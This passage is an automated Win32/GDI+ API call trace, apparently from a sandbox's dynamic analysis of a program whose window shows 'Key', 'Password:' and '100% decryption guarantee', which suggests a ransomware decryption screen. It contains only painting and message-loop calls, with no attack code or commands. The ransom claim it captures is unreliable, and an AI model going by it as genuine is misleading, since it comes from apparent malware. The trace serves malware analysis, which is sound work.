lpPaint=0x19e8f8) returned 1 [0175.979] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.979] IsWindowUnicode (hWnd=0x10248) returned 1 [0175.979] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.979] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.979] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.980] BeginPaint (in: hWnd=0x10248, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0175.980] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0175.980] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0175.980] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0175.980] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.980] GetSystemMetrics (nIndex=42) returned 0 [0175.981] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0175.981] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0175.981] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0175.981] EndPaint (hWnd=0x10248, lpPaint=0x19e8f8) returned 1 [0175.981] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.981] IsWindowUnicode (hWnd=0x10246) returned 1 [0175.981] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.981] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.981] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.981] BeginPaint (in: hWnd=0x10246, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x60100ce [0175.981] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0175.981] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e5c4 | out: lpwndpl=0x19e5c4) returned 1 [0175.982] GetClientRect (in: hWnd=0x10246, lpRect=0x19e570 | out: lpRect=0x19e570) returned 1 [0175.982] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0175.982] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0175.982] GetSystemMetrics (nIndex=42) returned 0 [0175.982] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e440, nMaxCount=4 | out: lpString="Key") returned 3 [0175.982] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e440) returned 0x3 [0175.982] GetClientRect (in: hWnd=0x10246, lpRect=0x19e478 | out: lpRect=0x19e478) returned 1 [0175.982] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0175.982] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0175.982] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0175.982] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0175.982] SaveDC (hdc=0x60100ce) returned 1 [0175.982] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0175.982] CreateSolidBrush (color=0x323533) returned 0x5210073a [0175.982] FillRect (hDC=0x60100ce, lprc=0x19e318, hbr=0x5210073a) returned 1 [0175.982] DeleteObject (ho=0x5210073a) returned 1 [0175.982] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0175.983] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0175.983] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0175.983] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0175.983] GetSystemMetrics (nIndex=42) returned 0 [0175.983] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0175.983] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0175.983] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0175.983] EndPaint (hWnd=0x10246, lpPaint=0x19e8e4) returned 1 [0175.983] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.983] IsWindowUnicode (hWnd=0x1024a) returned 1 [0175.983] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0175.983] TranslateMessage (lpMsg=0x19ee78) returned 0 [0175.983] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0175.983] BeginPaint (in: hWnd=0x1024a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0175.983] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0175.984] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0175.984] CreateCompatibleDC (hdc=0x60100ce) returned 0x2e01074a [0175.984] SelectObject (hdc=0x2e01074a, h=0x8050721) returned 0x85000f [0175.984] GdipCreateFromHDC (hdc=0x2e01074a, graphics=0x19e8e4) returned 0x0 [0175.984] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0175.984] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=308, height=32, combineMode=0x0) returned 0x0 [0175.984] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0175.984] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0175.984] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0175.984] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0175.984] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0175.984] LocalFree (hMem=0xf75c20) returned 0x0 [0175.984] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0175.985] GdipCreateRegion (region=0x19e92c) returned 0x0 [0175.985] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0175.985] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0175.985] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.013] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0176.013] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0176.013] GetSystemMetrics (nIndex=42) returned 0 [0176.013] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0176.014] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0176.014] GetClientRect (in: hWnd=0x1024a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.014] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.014] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.014] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.014] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.014] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.014] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.014] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.014] LocalFree (hMem=0xf75c20) returned 0x0 [0176.014] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.014] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.014] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.014] LocalFree (hMem=0xf75c20) returned 0x0 [0176.014] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.014] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.014] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.014] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.014] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.014] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.015] GetCurrentObject (hdc=0x2e01074a, type=0x1) returned 0xb00017 [0176.015] GetCurrentObject (hdc=0x2e01074a, type=0x2) returned 0x900010 [0176.015] GetCurrentObject (hdc=0x2e01074a, type=0x7) returned 0x8050721 [0176.015] GetCurrentObject (hdc=0x2e01074a, type=0x6) returned 0x8a01c2 [0176.015] SaveDC (hdc=0x2e01074a) returned 1 [0176.015] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa40406f7 [0176.015] GetClipRgn (hdc=0x2e01074a, hrgn=0xa40406f7) returned 0 [0176.015] SelectClipRgn (hdc=0x2e01074a, hrgn=0x120406fe) returned 2 [0176.015] GdipReleaseDC (graphics=0x6926780, hdc=0x2e01074a) returned 0x0 [0176.015] GdipRestoreGraphics (graphics=0x6926780, state=0xfcf40dbd) returned 0x0 [0176.015] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.015] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.016] GdipReleaseDC (graphics=0x6926780, hdc=0x2e01074a) returned 0x0 [0176.016] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.016] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.093] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.093] SelectObject (hdc=0x2e01074a, h=0xa0a0724) returned 0x8a01c2 [0176.094] DrawTextExW (in: hdc=0x2e01074a, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e708, format=0x100000, lpdtp=0x3082784 | out: lpchText="100% decryption guarantee", lprc=0x19e708) returned 32 [0176.095] GdipReleaseDC (graphics=0x6926780, hdc=0x2e01074a) returned 0x0 [0176.095] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.095] GdipReleaseDC (graphics=0x6926780, hdc=0x2e01074a) returned 0x0 [0176.095] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.095] EndPaint (hWnd=0x1024a, lpPaint=0x19e8c8) returned 1 [0176.095] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.095] IsWindowUnicode (hWnd=0x1024c) returned 1 [0176.095] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.095] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.095] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.096] BeginPaint (in: hWnd=0x1024c, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x60100ce [0176.096] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.096] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.096] GdipCreateFromHDC (hdc=0x3101074a, graphics=0x19e920) returned 0x0 [0176.096] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.096] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=32, height=36, combineMode=0x0) returned 0x0 [0176.096] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0176.097] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.097] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e980) returned 0x0 [0176.097] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75bb0) returned 0x0 [0176.097] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.097] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.097] GdipCreateRegion (region=0x19e968) returned 0x0 [0176.097] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.097] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e974) returned 0x0 [0176.097] GdipSaveGraphics (graphics=0x6926780, state=0x19e9a0) returned 0x0 [0176.097] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0176.097] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.097] GetSystemMetrics (nIndex=42) returned 0 [0176.097] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0176.097] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0176.097] GetClientRect (in: hWnd=0x1024c, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0176.097] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0176.097] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.097] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0176.098] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.098] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e7d4) returned 0x0 [0176.098] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.098] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.098] LocalFree (hMem=0xf75be8) returned 0x0 [0176.098] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.098] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.098] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.098] LocalFree (hMem=0xf75c20) returned 0x0 [0176.098] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.098] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7fc) returned 0x0 [0176.098] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7ec) returned 0x0 [0176.098] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7ec) returned 0x0 [0176.098] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.098] GdipGetDC (graphics=0x6926780, hdc=0x19e804) returned 0x0 [0176.098] GetCurrentObject (hdc=0x3101074a, type=0x1) returned 0xb00017 [0176.098] GetCurrentObject (hdc=0x3101074a, type=0x2) returned 0x900010 [0176.098] GetCurrentObject (hdc=0x3101074a, type=0x7) returned 0x8050721 [0176.098] GetCurrentObject (hdc=0x3101074a, type=0x6) returned 0x8a01c2 [0176.098] SaveDC (hdc=0x3101074a) returned 1 [0176.099] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x130406fe [0176.099] GetClipRgn (hdc=0x3101074a, hrgn=0x130406fe) returned 0 [0176.099] SelectClipRgn (hdc=0x3101074a, hrgn=0xa60406f7) returned 2 [0176.099] DeleteObject (ho=0x130406fe) returned 1 [0176.099] DeleteObject (ho=0xa60406f7) returned 1 [0176.099] OffsetViewportOrgEx (in: hdc=0x3101074a, x=0, y=0, lppt=0x3082ac8 | out: lppt=0x3082ac8) returned 1 [0176.099] GetNearestColor (hdc=0x3101074a, color=0x323533) returned 0x323533 [0176.099] CreateSolidBrush (color=0x323533) returned 0x5410073a [0176.099] FillRect (hDC=0x3101074a, lprc=0x19e808, hbr=0x5410073a) returned 1 [0176.099] DeleteObject (ho=0x5410073a) returned 1 [0176.099] RestoreDC (hdc=0x3101074a, nSavedDC=-1) returned 1 [0176.099] GdipReleaseDC (graphics=0x6926780, hdc=0x3101074a) returned 0x0 [0176.099] GdipRestoreGraphics (graphics=0x6926780, state=0xfcf20dbd) returned 0x0 [0176.099] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.099] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0176.099] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.099] GetSystemMetrics (nIndex=42) returned 0 [0176.099] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0176.099] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0176.100] GdipGetImageWidth (image=0x6915b28, width=0x19e83c) returned 0x0 [0176.100] GdipGetImageHeight (image=0x6915b28, height=0x19e83c) returned 0x0 [0176.100] GdipDrawImageRectI (graphics=0x6926780, image=0x6915b28, x=0, y=2, width=32, height=32) returned 0x0 [0176.100] GdipGetDC (graphics=0x6926780, hdc=0x19e960) returned 0x0 [0176.100] BitBlt (hdc=0x60100ce, x=0, y=0, cx=32, cy=36, hdcSrc=0x3101074a, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.100] GdipReleaseDC (graphics=0x6926780, hdc=0x3101074a) returned 0x0 [0176.100] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.100] SelectObject (hdc=0x3101074a, h=0x85000f) returned 0x8050721 [0176.100] DeleteDC (hdc=0x3101074a) returned 1 [0176.101] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.101] EndPaint (hWnd=0x1024c, lpPaint=0x19e904) returned 1 [0176.101] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.101] IsWindowUnicode (hWnd=0x1024e) returned 1 [0176.101] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.101] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.101] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.101] BeginPaint (in: hWnd=0x1024e, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0176.101] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.101] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e59c | out: lpRect=0x19e59c) returned 1 [0176.101] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0176.101] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.101] GetSystemMetrics (nIndex=42) returned 0 [0176.101] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e47c, nMaxCount=1 | out: lpString="") returned 0 [0176.101] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e47c) returned 0x0 [0176.101] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e4a4 | out: lpRect=0x19e4a4) returned 1 [0176.102] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0176.102] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0176.102] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0176.102] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0176.102] SaveDC (hdc=0x60100ce) returned 1 [0176.102] GetNearestColor (hdc=0x60100ce, color=0xcc7a00) returned 0xcc7a00 [0176.102] CreateSolidBrush (color=0xcc7a00) returned 0x5510073a [0176.102] FillRect (hDC=0x60100ce, lprc=0x19e344, hbr=0x5510073a) returned 1 [0176.102] DeleteObject (ho=0x5510073a) returned 1 [0176.102] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0176.102] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.102] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0176.102] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.102] GetSystemMetrics (nIndex=42) returned 0 [0176.102] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0176.102] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0176.102] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.102] EndPaint (hWnd=0x1024e, lpPaint=0x19e8f8) returned 1 [0176.103] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.103] IsWindowUnicode (hWnd=0x10250) returned 1 [0176.103] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.103] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.103] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.103] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.103] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.103] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0176.104] SetTextColor (hdc=0x3701074a, color=0xc4c4c4) returned 0x0 [0176.104] SetBkColor (hdc=0x3701074a, color=0x686868) returned 0xffffff [0176.104] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.104] IsWindowUnicode (hWnd=0x10252) returned 1 [0176.104] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.104] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.104] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.105] BeginPaint (in: hWnd=0x10252, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0176.105] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.105] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.105] CreateCompatibleDC (hdc=0x60100ce) returned 0x20010749 [0176.105] SelectObject (hdc=0x20010749, h=0x8050721) returned 0x85000f [0176.105] GdipCreateFromHDC (hdc=0x20010749, graphics=0x19e8e4) returned 0x0 [0176.105] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.105] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=251, height=63, combineMode=0x0) returned 0x0 [0176.105] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.105] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.106] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.106] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.106] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0176.106] LocalFree (hMem=0xf75be8) returned 0x0 [0176.106] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.106] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.106] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.106] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.106] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.106] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0176.106] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.106] GetSystemMetrics (nIndex=42) returned 0 [0176.106] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0176.106] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.106] GetClientRect (in: hWnd=0x10252, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.106] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.106] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.106] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.106] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.106] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.106] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.106] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.107] LocalFree (hMem=0xf75c20) returned 0x0 [0176.107] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.107] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.107] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.107] LocalFree (hMem=0xf75c20) returned 0x0 [0176.107] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.107] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.107] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.107] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.107] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.107] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.107] GetCurrentObject (hdc=0x20010749, type=0x1) returned 0xb00017 [0176.107] GetCurrentObject (hdc=0x20010749, type=0x2) returned 0x900010 [0176.107] GetCurrentObject (hdc=0x20010749, type=0x7) returned 0x8050721 [0176.107] GetCurrentObject (hdc=0x20010749, type=0x6) returned 0x8a01c2 [0176.107] SaveDC (hdc=0x20010749) returned 1 [0176.107] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4004070e [0176.107] GetClipRgn (hdc=0x20010749, hrgn=0x4004070e) returned 0 [0176.107] SelectClipRgn (hdc=0x20010749, hrgn=0xa80406f7) returned 2 [0176.108] DeleteObject (ho=0x4004070e) returned 1 [0176.108] DeleteObject (ho=0xa80406f7) returned 1 [0176.108] OffsetViewportOrgEx (in: hdc=0x20010749, x=0, y=0, lppt=0x3083100 | out: lppt=0x3083100) returned 1 [0176.108] GetNearestColor (hdc=0x20010749, color=0x323533) returned 0x323533 [0176.108] CreateSolidBrush (color=0x323533) returned 0x5610073a [0176.108] FillRect (hDC=0x20010749, lprc=0x19e7cc, hbr=0x5610073a) returned 1 [0176.108] DeleteObject (ho=0x5610073a) returned 1 [0176.108] RestoreDC (hdc=0x20010749, nSavedDC=-1) returned 1 [0176.108] GdipReleaseDC (graphics=0x6926780, hdc=0x20010749) returned 0x0 [0176.108] GdipRestoreGraphics (graphics=0x6926780, state=0xfcf00dbd) returned 0x0 [0176.108] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.108] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0176.108] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.108] GetSystemMetrics (nIndex=42) returned 0 [0176.108] GetWindowTextW (in: 